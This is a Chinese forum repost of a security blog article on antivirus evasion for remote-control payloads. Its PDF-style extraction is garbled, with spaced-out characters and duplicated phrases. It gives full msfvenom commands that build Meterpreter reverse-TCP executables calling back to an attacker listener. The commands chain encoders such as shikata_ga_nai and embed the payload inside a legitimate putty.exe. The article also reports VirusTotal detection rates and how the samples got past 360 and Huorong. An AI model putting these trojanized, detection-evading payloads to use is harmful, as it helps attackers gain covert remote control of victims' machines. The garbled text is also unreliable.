搜索

[26915] 2020-02-17_远控免杀专题文章(3)-msf自免杀(VT免杀率3569)

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-02-17_远控免杀专题文章(3)-msf自免杀(VT免杀率3569) 远 控 免 杀 专 题 文 章 ( 3 ) - m s f 自 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 2 - 1 7 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 、 远 控 免 杀 专 题 文 章 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 、 远 控 免 杀 专 题 文 章 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 几 点 说 明 ： 几 点 说 明 ： 1 、 上 面 表 中 标 识 、 上 面 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 毒 版 本 杀 毒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 1 9 . 1 2 . 1 2 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 ( 2 0 1 9 . 1 2 . 1 7 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 的 精 确 判 断 指 标 。 1 . 前 言 前 言 本 节 主 要 是 对 m s f 自 身 提 供 的 免 杀 机 制 （ 编 码 + 捆 绑 ） 进 行 尝 试 ， 由 于 m s f 被 各 大 安 全 厂 商 盯 的 比 较 紧 ， 所 以 这 些 常 规 的 方 法 免 杀 效 果 肯 定 是 比 较 差 的 ， 但 有 时 把 一 两 种 常 规 方 法 稍 微 结 合 一 下 就 能 达 到 比 较 好 的 免 杀 效 果 。 2 . 未 处 理 的 未 处 理 的 p a y l o a d ( V T 查 杀 率 查 杀 率 5 3 / 6 9 ) 在 做 免 杀 之 前 ， 我 们 先 生 成 一 个 原 始 p a y l o a d 作 为 原 始 参 数 对 比 ， 这 里 我 们 就 选 使 用 频 率 最 高 的 ， 这 也 是 被 各 大 杀 软 盯 的 最 紧 的 一 个 。 基 本 不 用 怀 疑 ， 本 地 的 3 6 0 全 家 桶 和 火 绒 都 能 查 杀 。 T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 3 . 1 3 1 2 . 0 . 0 . 2 0 0 1 v i r u s t o t a l . c o m w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   e x e   - o   p a y l o a d 1 . e x e
在 上 查 杀 率 为 5 3 / 6 9 最 原 始 的 p a y l o a d 居 然 还 有 1 6 个 查 杀 不 出 来 的 ， 看 看 都 有 哪 些 （ 额 。 。 。 6 个 国 内 的 。 。 。 马 云 爸 爸 也 出 杀 软 了 ？ ？ ） 笔 误 ， p a n d a 不 是 国 内 的 。 。 3 . m s f 自 编 码 处 理 自 编 码 处 理 ( V T 查 杀 率 查 杀 率 5 1 / 6 9 ) 使 用 可 查 看 所 有 编 码 器 v i r u s t o t a l . c o m m s f v e n o m   - - l i s t   e n c o d e r s
评 级 最 高 的 两 个 e n c o d e r 为 和 ， 其 中 也 是 免 杀 中 使 用 频 率 最 高 的 一 个 编 码 器 了 。 使 用 生 成 p a y l o a d ， 参 数 为 编 码 次 数 ， 我 这 里 设 置 1 5 次 ， 并 使 用 了 参 数 去 掉 p a y l o a d 中 的 空 字 符 。 测 试 机 器 运 行 ， 本 地 的 3 6 0 全 家 桶 和 火 绒 都 能 查 杀 。 c m d / p o w e r s h e l l _ b a s e 6 4 x 8 6 / s h i k a t a _ g a _ n a i x 8 6 / s h i k a t a _ g a _ n a i x 8 6 / s h i k a t a _ g a _ n a i - i - b m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - e   x 8 6 / s h i k a t a _ g a _ n a i   - b   " x 0 0 "   - i   1 5     - f   e x e   - o   p a y l o a d 2 . e x e
在 上 查 杀 率 为 5 1 / 6 9 由 于 由 于 编 码 技 术 是 多 态 的 ， 也 就 是 说 每 次 生 成 的 编 码 技 术 是 多 态 的 ， 也 就 是 说 每 次 生 成 的 p a y l o a d 文 件 都 不 一 样 ， 有 时 生 成 的 文 件 会 被 查 杀 ， 有 时 却 不 会 。 当 然 这 个 也 和 编 码 次 数 有 一 定 关 系 ， 编 码 次 数 好 像 超 过 文 件 都 不 一 样 ， 有 时 生 成 的 文 件 会 被 查 杀 ， 有 时 却 不 会 。 当 然 这 个 也 和 编 码 次 数 有 一 定 关 系 ， 编 码 次 数 好 像 超 过 7 0 次 就 经 常 生 成 出 错 ， 但 是 次 就 经 常 生 成 出 错 ， 但 是 编 码 次 数 多 并 不 代 表 免 杀 能 力 强 。 编 码 次 数 多 并 不 代 表 免 杀 能 力 强 。 4 . m s f 自 捆 绑 免 杀 自 捆 绑 免 杀 ( V T 查 杀 率 查 杀 率 3 9 / 6 9 ) 在 生 成 p a y l o a d 时 可 以 使 用 捆 绑 功 能 ， 使 用 m s f v e n o m 的 参 数 可 以 指 定 一 个 自 定 义 的 可 执 行 文 件 作 为 模 板 , 并 将 p a y l o a d 嵌 入 其 中 ， 后 面 跟 对 应 文 件 路 径 就 可 以 。 我 这 里 使 用 一 个 正 规 的 作 为 被 捆 绑 测 试 软 件 。 生 成 p a y l o a d 命 令 如 下 生 成 的 两 个 文 件 对 比 ， 大 小 完 全 一 样 。 测 试 机 器 运 行 ， 本 地 的 3 6 0 全 家 桶 和 火 绒 都 能 查 杀 该 p a y l o a d 。 v i r u s t o t a l . c o m s h i k a t a _ g a _ n a i - x - x p u t t y . e x e m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3     - x   p u t t y . e x e     - f   e x e   - o   p a y l o a d 3 . e x e
在 上 查 杀 率 为 3 9 / 6 9 另 外 ， 能 否 免 杀 也 和 你 选 的 被 捆 绑 e x e 有 一 定 关 系 ， 可 以 选 微 软 的 一 些 工 具 作 为 模 板 e x e 程 序 。 5 . m s f 自 捆 绑 自 捆 绑 + 编 码 编 码 ( V T 查 杀 率 查 杀 率 3 5 / 6 9 ) 将 上 面 的 编 码 和 捆 绑 两 种 方 法 结 合 一 下 进 行 尝 试 测 试 机 器 执 行 ， 发 现 火 绒 动 态 静 态 均 能 查 杀 ， 而 3 6 0 不 会 报 病 毒 。 v i r u s t o t a l . c o m m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - e   x 8 6 / s h i k a t a _ g a _ n a i   - x   p u t t y . e x e     - i   1 5   - f   e x e   - o   p a y l o a d 4 . e x e
在 关 闭 火 绒 后 ， 开 启 3 6 0 安 全 卫 士 和 杀 毒 的 情 况 下 ， 可 上 线 ， 可 免 杀 。 可 修 改 - i 编 码 次 数 ， 编 码 次 数 越 多 ， 生 成 的 p a y l o a d 越 可 能 免 杀 ， 经 测 试 ， 编 码 5 次 和 6 次 可 免 杀 3 6 0 。 在 上 查 杀 率 为 3 5 / 6 9 看 来 稍 微 组 合 一 下 是 能 过 更 多 的 杀 软 的 。 后 面 会 介 绍 更 多 的 免 杀 方 法 ， 自 己 可 以 尝 试 多 种 免 杀 进 行 组 合 ， 垒 积 木 一 样 的 感 觉 . . . 6 . m s f v e n o m 多 重 编 码 多 重 编 码 ( V T 查 杀 率 查 杀 率 4 5 / 7 0 ) m s f v e n o m 的 e n c o d e r 编 码 器 可 以 对 p a y l o a d 进 行 一 定 程 度 免 杀 ， 同 时 还 可 以 使 用 m s f v e n o m 多 重 编 码 功 能 ， 通 过 管 道 ， 让 m s f v e n o m 用 不 同 编 码 器 反 复 编 码 进 行 混 淆 。 v i r u s t o t a l . c o m
如 下 命 令 ， 使 用 管 道 让 对 攻 击 载 荷 多 重 编 码 ， 先 用 编 码 2 0 次 ， 接 着 来 1 0 次 的 编 码 ， 再 来 1 0 次 的 编 码 ， 最 后 才 生 成 以 为 模 板 的 可 执 行 文 件 。 还 有 这 种 更 多 重 编 码 姿 势 在 上 查 杀 率 为 4 5 / 7 0 ， 编 码 多 了 ， 免 杀 率 居 然 降 低 了 。 。 。 尴 尬 。 。 。 经 过 测 试 ， 发 现 使 用 的 编 码 类 型 越 多 ， 免 杀 率 可 能 会 降 低 ， 猜 测 是 因 为 各 种 编 码 引 入 了 更 多 的 特 征 码 。 同 时 生 成 的 经 过 测 试 ， 发 现 使 用 的 编 码 类 型 越 多 ， 免 杀 率 可 能 会 降 低 ， 猜 测 是 因 为 各 种 编 码 引 入 了 更 多 的 特 征 码 。 同 时 生 成 的 p a y l o a d 也 很 可 能 无 法 正 常 执 行 ， 这 个 也 和 被 捆 绑 程 序 有 一 定 关 联 。 也 很 可 能 无 法 正 常 执 行 ， 这 个 也 和 被 捆 绑 程 序 有 一 定 关 联 。 参 考 资 料 参 考 资 料 使 用 m s f 编 码 器 避 开 杀 毒 软 件 的 检 测 ： m s f v e n o m s h i k a t a _ g a _ n a i a l p h a _ u p p e r c o u n t d o w n p u t t y . e x e m s f v e n o m     - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   2 0   L H O S T = 1 0 . 2 1 1 . 5 5 . 2   L P O R T = 3 3 3 3   - f   r a w   |   m s f v e n o m   - e   x 8 6 / a l p h a _ u p p e r   - i   1 0   - f   r a w   |   m s f v e n o m   - e   x 8 6 / c o u n t d o w n   - i   1 0   - x   p u t t y . e x e   - f   e x e   - o   p a y l o a d 5 . e x e m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / c a l l 4 _ d w o r d _ x o r   - i   1 4   L H O S T = 1 9 2 . 1 6 8 . 7 4 . 1 3 3   L P O R T = 5 1 1 0   - f   r a w   |   m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - e   x 8 6 / c o u n t d o w n   - i   1 3   - f   r a w   |   m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - e   x 8 6 / s h i k a t a _ g a _ n a i   - b   " & "   - i   4   - f   r a w   |   m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - e   c m d / p o w e r s h e l l _ b a s e 6 4   - i   1 0   - x   p u t t y . e x e   - k   - f   e x e   >   p a y l o a d 6 . e x e v i r u s t o t a l . c o m h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 2 1 6 5 9 9 . h t m l
m s f 多 重 编 码 : M s f v e n o m 学 习 总 结 : m s f v e n o m 生 成 后 门 的 免 杀 测 试 ： 扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 渗 透 测 试 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m h t t p s : / / b l o g . c s d n . n e t / w y f 1 2 1 3 8 / a r t i c l e / d e t a i l s / 7 9 8 2 5 8 3 3 h t t p : / / w w w . s e c i s t . c o m / a r c h i v e s / 3 3 5 3 . h t m l h t t p : / / w w w . n a i v e t e . o n l i n e / m s f v e n o m % E 7 % 9 4 % 9 F % E 6 % 8 8 % 9 0 % E 5 % 9 0 % 8 E % E 9 % 9 7 % A 8 % E 7 % 9 A % 8 4 % E 5 % 8 5 % 8 D % E 6 % 9 D % 8 0 % E 6 % B 5 % 8 B % E 8 % A F % 9 5 /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理